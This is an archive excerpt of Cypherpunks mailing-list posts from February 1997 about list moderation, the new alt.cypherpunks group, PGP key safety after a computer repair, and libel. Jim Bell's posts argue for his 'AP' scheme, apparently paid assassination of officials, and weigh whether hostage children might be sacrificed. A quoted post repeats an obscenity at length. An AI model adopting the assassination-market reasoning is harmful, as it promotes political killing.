6HFgT3zWxOH5OSyg/8tz2oVirtCOoGD/
=L0xY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 06:11:28 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: List for discussing many majordomos
Message-ID: <199702121411.GAA19620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
> 
> >We can coordinate our efforts. Actually, we can even have a mini
> >mailing list for people who want to participate in the distributed
> >cypherpunks experiment. If there is any interest, I can create such 
> >a list.
> 
> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

I have acreated a mailing list, cypherpunks-hosts@algebra.com,  for
people interested in participating in the multi-homed cypherpunks list.
You can subscribe to cypherpunks-hosts by talking to
majordomo@algebra.com.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Wed, 12 Feb 1997 06:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto: Job Opportunity
Message-ID: <199702121426.GAA19993@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8
q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG
CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI
i962UdPbyVs=
=69D8
-----END PGP SIGNATURE-----
...
For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trust Me <trustme@dev.null>
Date: Wed, 12 Feb 1997 06:11:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Network of majordomos
Message-ID: <199702121411.GAA19573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> I sent a proposal to alt.config last night and intend to newgroup 
> alt.cypherpunks in a week or so

  Is this a follow-up to your suggestion to kill the list?
  The list that you stated you were leaving because you don't
think it's worthy of subscribing to?
  Is there any particular reason you want to redirect the future
of a list that you want killed and no longer want to subscribe to?

  Just asking.

Trust Me (<--shouldn't this be 'your' sig?)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 06:13:13 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702121413.GAA19653@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Timothy C. May" <tcmay@got.net> writes:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    I vote we just set up a new majordomo with some additional antispam
> >    filters including knocking out exploding mail headers, etc. I would
> >    accept excluding non-members as long as we take the remailers which
> >    are listed with either JP or RL.
> 
> This is a suggestion I have long thought to be a good one. Only allow posts
> from list subscribers, and make a special exception for remailers by adding
> them to the approval list. Figure if a spammer is smart enough to know what
> a remailer is, at least see her traffic for a while. Drop the inclusion of
> remailers if volume is too high.

A couple of "me too"s:
Low volume spam via remailers increases the strength of the remailer
net. Yay!
Not allowing non-subscribers to post is not a problem is the mailing
list is linked to the usenet version. The people who read/post to
cypherpunks via a newsgroup interface now can just use the real
newsgroup. Also, people who don't get alt.* and don't want to use
dejanews can sub to the list version.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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g+KY2rlNLgmMP9AJoGszlc02jNOxWKahBMT/tLWztBG4g3/0Jy4IIFMU0gRz9t/2
pRNwig+MHm5EvhClMeva3rhVe/7t0Fz9
=Xaaf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Aaron D. gifford" <agifford@infowest.com>
Date: Wed, 12 Feb 1997 06:41:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Any info on Rep. Goodlatte's SAFE act?
Message-ID: <199702121441.GAA20397@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any information on Congressman Goodlatte's S.A.F.E. act?

Aaron out.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 06:41:20 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121441.GAB20399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> 
> Igor Chudov <ichudov@algebra.com> writes:
> > so we have myself, Jim Choate, and you who colunteer to host
> > mailing lists for the distributed cypherpunks.
> > 
> > I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> > 
> > We can coordinate our efforts. Actually, we can even have a mini
> > mailing list for people who want to participate in the distributed
> > cypherpunks experiment. If there is any interest, I can create such 
> > a list.
> 
> Please do.

The list is called cypherpunks-hosts@algebra.com. 

Use majordomo@algebra.com to sub-scri-be.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 12 Feb 1997 08:00:24 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702121600.IAA22396@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/11/97 -0500, John Young wrote:

[Trying whois]

Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the
moderator of the famous bugtraq mailing list.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hettinga" <rah@shipwright.com>
Date: Wed, 12 Feb 1997 06:43:05 -0800 (PST)
To: Paul Bradley <cypherpunks@toad.com
Subject: alt.cypherpunks lives! was Re: New group
Message-ID: <199702121443.GAA20454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


c'punks:

I went to look at news this morning, and I found the following:


In article <33019178.58622842@news.demon.co.uk>, paul@fatmans.demon.co.uk
(Paul Bradley) wrote:

| Well despite the obvious problems of propogation I thought it was time
| someone actually did something to get us a new home, even if it`s only
| temporary. So I have created alt.cypherpunks... See you all over on
| usenet!...


It seems this alt.cypherpunks thing was a lot easier than it looks.

Either that, or I have a clueful newsadmin. :-)

Cheers,
Bob

-- 
Robert Hettinga
e$
44 Farquhar Street
Boston, MA 02131
The e$ Home Page:  http://thumper.vmeng.com/rah/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 12 Feb 1997 06:44:47 -0800 (PST)
To: tcm@got.net
Subject: New group
Message-ID: <199702121444.GAA20517@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all, 

Well despite the obvious problems of propogation I thought it was time
someone actually did something to get us a new home, even if it`s only
temporary. So I have created alt.cypherpunks... See you all over on
usenet!...

Best regards...

Paul Bradley







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 00:58:18 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <199702010618.AAA08230@manifold.algebra.com>
Message-ID: <32F32265.AC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:

> Shit happens, and it certainly happens with all moderators whom I know.

Igor,
 I got private email from someone who has read most of your posts, and
expressed confusion over 'whose side' you are 'on' in relation to the
censored debate in regard to list censorship.
 I had to laugh, because the sad truth is, there are all too many people
who seem unable to understand the concept of someone who is quite simply
on the 'side' of 'truth', as much as humanly possible.
 I explained to him that you weren't 'fence hopping', but merely sitting
on your own fence, observing, while everyone else runs around in
circles.
 Please stay 'confusing'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 01:21:46 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Cocksucker
In-Reply-To: <854786117.514461.0@fatmans.demon.co.uk>
Message-ID: <32F3270B.61@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:

cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit
> 
> Sandy,
> 
> Why was this sent to the flames list? - surely it wasn`t directed at
> any specific person and was therefore a comment on "wooly thinking"
> ???

  This was a typo.
  It was supposed to say,
cryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptoshit

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 01:21:51 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <Pine.LNX.3.95.970131160355.1646A-100000@purple.voicenet.com>
Message-ID: <32F327E4.30D5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
 
> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

  God forbid that people should have to use their judgement and their
brains, rather than their overly charged emotions.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 01:45:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyphernomicon by Tim May
Message-ID: <32F32D6C.126C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).

3.6.3 "Why isn't the list moderated?"
      ...hardly consistent with many of our anarchist leanings, is
          it?
      - "No, please, let's not become a 'moderated' newsgroup. This
      would be the end of freedom!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 04:21:33 -0800 (PST)
To: Paul Foley <mycroft@actrix.gen.nz>
Subject: Re: Key Security Question
In-Reply-To: <199702011118.AAA24621@mycroft.actrix.gen.nz>
Message-ID: <32F351F9.77A3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Paul Foley wrote:
 
> On Fri, 31 Jan 1997 17:51:47 -0800, Toto wrote:

>>      If the repairman has your pubring and secring files, you can now
>>    consider them in the same light as a 'busted flush'.
> 
> The secret key is encrypted using the same IDEA algorithm that PGP
> uses to encrypt your files.  If you trust IDEA, your key is as safe as
> your passphrase (not at all if you have no passphrase, not much if
> it's easily guessable, etc.)

  Send me your secring file. I have a new password-buster I'd like to
try out on it.

> If your computer repairman has the capability to crack strong 128-bit
> ciphers, I'd be rather worried :-)

  He doesn't have to crack the cipher, he only needs to find the
password.
 
> On the other hand, there's always the possibility of your passphrase
> being on the disk, say in a swap file, somewhere.  Same goes for
> plaintext of any encrypted files/messages.  I doubt anyone's gonna go
> hunting through your swap file, "empty" sectors, etc., looking for it,
> though, unless you've done something to really piss him off lately :-)

  Or if he's a member of the CypherPunks list, read the message, and now
considers it to be a personal challenge.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Talbert Newhart <talnewhart@intertemps.com>
Date: Sat, 1 Feb 1997 05:23:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List
Message-ID: <32F343DE.63EA@intertemps.com>
MIME-Version: 1.0
Content-Type: text/plain


Please put me on the Cypherpunk list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 1 Feb 1997 00:44:48 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Cats Out of Bags
Message-ID: <854786124.514498.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


 
> Interestingly, the saying, "to let the cat out of the bag" is
> related to the saying, "to buy a pig in a poke."  A poke is a
> sack or bag.  In times past, street peddlers would sell a mark a 
> young pig.  The pig was supposedly put into a poke, but in fact,
> a bag with a cat in it was substituted.  By the time the mark
> figured out his mistake by "letting the cat out of the bag," the
> peddler was long gone.  The lesson the mark learned was "Don't
> buy a pig in a poke."

Thankyou Sandy for this highly crypto-relevant commentary presumably 
posted to the censored list so anyone with an interest in 
cryptography, cats and pigs can be suitably enlightened. Even if it 
wasn`t this would still be unworthy of the flames list.



 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 1 Feb 1997 00:49:18 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Cocksucker
Message-ID: <854786117.514461.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksu
> cocksuckercocksuckercocksuckercocksuckercocksuckercockscocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucker
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksocksuckercocksuckercocksuckercoc
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucke
> cocksuckercocksuckercocksuckercocksuckercocksuckksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercoc
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucksuckercocksuckercocksuckercocksu
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit

Sandy, 

Why was this sent to the flames list? - surely it wasn`t directed at 
any specific person and was therefore a comment on "wooly thinking" 
???

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 1 Feb 1997 07:22:49 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <32F32265.AC@sk.sympatico.ca>
Message-ID: <199702011516.JAA11212@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


right, in this particular case i am not on anyone's side.

i think that both sides of the debate do not know what they are doing,
but are very adept at creating paranoid theories about the other side.

igor

Toto wrote:
> 
> Igor Chudov @ home wrote:
> 
> > Shit happens, and it certainly happens with all moderators whom I know.
> 
> Igor,
>  I got private email from someone who has read most of your posts, and
> expressed confusion over 'whose side' you are 'on' in relation to the
> censored debate in regard to list censorship.
>  I had to laugh, because the sad truth is, there are all too many people
> who seem unable to understand the concept of someone who is quite simply
> on the 'side' of 'truth', as much as humanly possible.
>  I explained to him that you weren't 'fence hopping', but merely sitting
> on your own fence, observing, while everyone else runs around in
> circles.
>  Please stay 'confusing'.
> 
> Toto
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 09:37:37 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <Pine.SUN.3.91.970131233634.4007J-100000@crl4.crl.com>
Message-ID: <32F37F07.8DF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Fri, 31 Jan 1997, Dale Thorn wrote:
> > I was *not* speaking of posts headed for the "moderated" list, I was
> > speaking of posts headed for the un-"moderated" list that would get
> > lost due to "mistakes".
> > Now I can understand how a censor could flub something going to a
> > moderated list, but why the un-moderated list?

> Apparently, Dale does not understand the how the list is
> moderated.  When someone posts to Cypherpunks, it automatically
> goes to the unedited list.  I am subscribed to the unedited list.
> When I read the unedited list, I forward each message I see there
> to either the flames list or the moderated list.  I have no
> control over the unedited list.  It goes out to everyone else at
> the same time it goes out to me.  I don't have a clue as to what
> Dale is talking about.

I only said what I said in response to what Igor said.  I didn't make
an accusation myself, since I don't have the necessary info.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 1 Feb 1997 06:38:06 -0800 (PST)
To: Rob <cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702010740.XAA08867@toad.com>
Message-ID: <3.0.1.32.19970201093919.017e2984@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:18 AM 2/1/97 GMT, Rob wrote:
>On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:
>
>>from http://www.herald.com/dade/digdocs/021949.htm
>>Postal Service offers $25,000 reward for stolen . . . something
>

Mail Storage Box keys?

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvNVkoVO4r4sgSPhAQG18AQA2g//lN1jUva1emDq/uQMNRy+1mIA/+Ug
5+0INso7kvCflVbterNDpWo0XoWR9tLrZ013vtcygaWUb07m/AWYBu/K322Tp7Zl
nGDaGXFvUHLdJM+hgXyxQZoK/kfWqBiHw0zxczqr3LuwyDUQgFjrHcJb+/TKphBY
JwdTTPZJNC0=
=uGDj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 10:33:35 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199702011833.KAA03879@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 


I'm still waiting for you to explain what you believe to be the "problem" 
for which we are searching a solution.  

Is the problem that there is slavery?  Or do you think the only problem is 
that the slaves are unhappy?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 08:10:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <Pine.SUN.3.91.970131233634.4007J-100000@crl4.crl.com>
Message-ID: <L2eg2D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
>
> On Fri, 31 Jan 1997, Dale Thorn wrote:
>
> > I was *not* speaking of posts headed for the "moderated" list, I was
> > speaking of posts headed for the un-"moderated" list that would get
> > lost due to "mistakes".
> >
> > Now I can understand how a censor could flub something going to a
> > moderated list, but why the un-moderated list?
>
> Apparently, Dale does not understand the how the list is
> moderated.  When someone posts to Cypherpunks, it automatically
> goes to the unedited list.  I am subscribed to the unedited list.
> When I read the unedited list, I forward each message I see there
> to either the flames list or the moderated list.  I have no
> control over the unedited list.  It goes out to everyone else at
> the same time it goes out to me.  I don't have a clue as to what
> Dale is talking about.

Dale is talking about the two messages from me that appeared on
the unedited list but did not appear on either censored or "flames"
list because Sandy chose not to forward them to either list.

Both messages dealt were criticial of Sandy's employer, C2, and
exposed their main product, Stronghold, as a fraud.

Other messages may have "fallen between the cracks" in the past,
but this was a controlled experiment.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 10:55:27 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702011855.KAA05989@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 1/30/97 -0800, Sean Roach wrote:
>At 11:15 AM 1/30/97 -0800, jim bell wrote:
>>What you're presented (included in its entirety below) is what I've come to 
>>call an "AP story problem."   I've worked through many of those myself; 
>>their main problem is that they don't carefully describe why _each_ person 
>>in the "play" you've described would be motivated to do what it's claim he 
>>does, and why he DOES NOT do other things to fix the situation he's in.  
>>Remember, I'm not merely talking about the main character, but also the ones 
>>who are (apparently?) incidental.  
>>
>>For just one example, you said:    "conventional bodyguards could be 
>>included, ones with no real pay but with the fore knowledgethat they will be 
>>buried with the tyrant."
>>
>>What motivates these people?  Are they hostages?  If they're hostages, then 
>>presumably that means they're motivated to seek the death of anyone who is 
>>holding them.  What about their relatives; don't they have any sympathy for 
>>those who are taken?  Why don't they donate to AP to see the lead guy dead?
>
>As I stated in the bottom, the children would be privaledged.

Who says?  What if the public doesn't agree?  Might it not be better to 
sacrifice a few children to keep other children alive?


>  They would
>merely be told that it is a great honor.  It could very well be.  Assuming
>that the tyrant did not die, these children would live in comparable luxery.

How much would this cost?  Who would pay?  Where would the money come from?  
Is this "solution" practical for everybody, or just the top guy?


>They would be at risk only if the tyrant was.  By keeping the children at
>hand, the parents would balk at taking action against the tyrant, not only
>their own action, but also that of others.  The children would merely be
>there to thwart the attempts of others.

Suppose that didn't work.  Who would kill the kids if the tyrant died?  Who 
would risk death himself to do this?  Etc.


Hint:  Unfortunately, you don't seem to be pursuing the implications of what 
you are hypothesizing.  This is typical.  Go back and do what I originally 
suggested:  Look at the motivations of EACH person in the "play" and decide 
why he will play along with the game.    This includes not merely the people 
you want to focus on, but also anyone else.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 08:10:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List
In-Reply-To: <32F343DE.63EA@intertemps.com>
Message-ID: <kiFg2D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Talbert Newhart <talnewhart@intertemps.com> writes:

> Please put me on the Cypherpunk list.

The old cypherpunks list no longer exists.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 09:10:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701280548.FAA00251@server.test.net>
Message-ID: <cVFg2D42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
>
> Mr William H. Geiger III "Author of E-Secure" writes:
> > <sigh> for the benifit of those misfortunate enough to be still working on
> > dumb terminals I have disabled my PGP script until I have time to add a
> > word wrap routine to it.
>
> <sigh> it is you who were demonstrating your ineptitude by spewing
> 120+ line length postings.  Why is it so difficult for you to keep
> under 80 chars?  Would you like some technical assistance?  Notice how
> near every one else apart from yourself is managing to keep under 80
> chars?

Notice how near every one else apart from yourself bends over for the NSA,
and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
difficult for you to keep under 40 bits? Would you like some technical
assistance? Why are you setting yourself apart from the Internet community
that so happily embraces GAK? Why do you desire "privacy" for your traffic
when everyone else does not? What have you got to hide? Are you looking to
transmit child pornography, bomb-making instructions, and/or cannabis
legalization propaganda? We better have a look at your hard disk soon.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 1 Feb 1997 08:34:45 -0800 (PST)
To: markm@voicenet.com (Mark M.)
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701312213.OAA24431@toad.com>
Message-ID: <199702011633.LAA20630@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> On Thu, 30 Jan 1997, Jim Choate wrote:
> 
> > > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > > It is, they say, a rich man's game
> >
> > Exactly, instead of equal protection under the law we have a specieocracy.
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

	You mean to say, rich people can overcrowd the courts as much as they
like, while others are restricted by contigency-only lawyers ( Call 
1-800-AMBULANCE! ) ... and what of the case of a rich person trying to control
a poor one with many frivolous lawsuits ... while they can afford to file 
lawsuit after lawsuit, the poor person cannot defend himself.

	
-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 1 Feb 1997 11:37:53 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <3.0.1.32.19970201113728.02c2b18c@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:41 AM 1/31/97 -0800, Z.B. wrote:
>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends on how guessable your passphrase is.  If you use something that would
fall to a dictionary attack, then you are vulnerable.  (Providing that they
actually looked for your keyring and made a copy.)

If you had nyms on your keyring, then those nyms can be associated with your
"true name" with no passphrase required.  (Unless you keep your keyring
encrypted. Private Idaho supports encrypted keyrings, but little else does.)

If you are really concerned about it, you could learn to do your own computer
repairs.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvObZeQCP3v30CeZAQHwCgf+Oks1qT2Hc9pRU4jy+YU/q3WidHVhJmf2
QxjdEFeRPyX3rt+7ThCN4wnGdh7W2Ya8SYGwmgGgU7pucJ9vgC0JACU20RvRgsQk
5USpS3+Ua9QVNs/NpKGDDANlsurPMi9y12rIqrDbmPmcnW7HDfrfByLVy0HvfqKE
